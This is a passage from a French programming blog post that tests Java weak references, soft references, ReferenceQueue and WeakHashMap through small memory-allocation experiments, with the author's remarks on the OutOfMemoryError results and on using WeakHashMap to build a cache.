&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;MemoryBlock created: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{id=&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;,size=&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// Méthode appelée lorsque l&amp;#39;on libère l&amp;#39;objet&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;finalize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;MemoryBlock finalized: &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je vais maintenant créer des blocs de plus en plus grands jusqu&amp;rsquo;à ce que le &lt;em&gt;garbage collector&lt;/em&gt; décide de libérer de l&amp;rsquo;espace mémoire.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.WeakReference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.Reference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestWeakReferenceMemoryBlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WeakReference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;display&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img alt="screenshot-weakref-4.png" src="/images/screenshot-weakref-4.png" title="screenshot-weakref-4.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remarque&lt;/strong&gt; Ôter l&amp;rsquo;appel explicite au &lt;em&gt;garbage collector&lt;/em&gt; induit une  &lt;code&gt;OutOfMemoryError&lt;/code&gt; :-(&lt;/p&gt;
&lt;h3&gt;Références douces &lt;em&gt;soft reference&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;La différence entre une référence douce et une référence faible réside dans le fait que la libération de l&amp;rsquo;espace mémoire est maintenant laissé à la discrétion du &lt;em&gt;garbage collector&lt;/em&gt; en fonction de l&amp;rsquo;espace mémoire dont il dispose.&lt;/p&gt;
&lt;p&gt;Si je &lt;code&gt;%s/WeakReference/SoftReference/&lt;/code&gt; dans l&amp;rsquo;exemple précédent, je m&amp;rsquo;attend à ce que la libération des objets se fasse plus tard.&lt;/p&gt;
&lt;p&gt;En lisant la littérature, je vois que l&amp;rsquo;objet &lt;code&gt;ReferenceQueue&lt;/code&gt; me permet d&amp;rsquo;obtenir une liste des objets candidats à l&amp;rsquo;exécution par le &lt;em&gt;garbage collector&lt;/em&gt;. Les objets de cette liste peuvent donc être retirés de ma liste d&amp;rsquo;objets.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.SoftReference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.WeakReference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.ReferenceQueue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.lang.ref.Reference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestSoftReferenceQueue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;ReferenceQueue&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReferenceQueue&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;Reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SoftReference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;Reference&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;MemoryBlock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;sr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;poll&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Remarque&lt;/strong&gt; Cet exemple n&amp;rsquo;est pas concluant. J&amp;rsquo;obtiens une &lt;code&gt;OutOfMemoryError&lt;/code&gt; et aucun objet n&amp;rsquo;est libéré … reste à voir si je peux mettre en œuvre ce cache dont on parle et si l&amp;rsquo;objet &lt;code&gt;WeakHashMap&lt;/code&gt; répond à mes attentes. Suspense !&lt;/p&gt;
&lt;h3&gt;Comment mettre en place un « cache » en Java ?&lt;/h3&gt;
&lt;p&gt;L&amp;rsquo;objet &lt;code&gt;WeakHashMap&lt;/code&gt; est une table (&lt;em&gt;map&lt;/em&gt;) dont les &lt;strong&gt;clés sont des références faibles (&lt;em&gt;weak références)&lt;/em&gt;&lt;/strong&gt; et telle que lorsque la référence n&amp;rsquo;est plus disponible, l&amp;rsquo;entrée est supprimée du &lt;em&gt;map&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hash table based implementation of the Map interface, with weak keys. An entry in a WeakHashMap will automatically be removed when its key is no longer in ordinary use. More precisely, the presence of a  mapping for a given key will not prevent the key from being discarded by the garbage collector, that is, made finalizable, finalized, and then reclaimed. When a key has been discarded its entry is effectively removed from the map, so this class behaves somewhat differently from other Map implementations.&lt;/p&gt;
&lt;p&gt;Extrait de l&amp;rsquo;&lt;a href="http://docs.oracle.com/javase/7/docs/api/java/util/WeakHashMap.html"&gt;API Java&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Avec cet objet, implémenter un cache est &lt;strong&gt;très simple&lt;/strong&gt;. Je ne dois pas m&amp;rsquo;inquiéter de la taille de mon cache, c&amp;rsquo;est Java qui va la gérer en fonction de la mémoire dont il dispose. Lorsque j&amp;rsquo;ai besoin d&amp;rsquo;un objet,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je regarde s&amp;rsquo;il est présent dans le &lt;em&gt;map&lt;/em&gt;,&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;si oui&lt;/strong&gt;, je l&amp;rsquo;utilise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;si non&lt;/strong&gt;, je le charge et l&amp;rsquo;ajoute dans le &lt;em&gt;map&lt;/em&gt; pour plus tard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Soit le code suivant permettant de tester l&amp;rsquo;utilisation de &lt;code&gt;WeakHashMap&lt;/code&gt; pour créer facilement un cache. Je crée des blocs que j&amp;rsquo;ajoute dans le cache et, à chaque création, j&amp;rsquo;affiche le contenu du cache histoire de voir des blocs sont supprimés du cache.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.WeakHashMap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestWeakHashMap2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
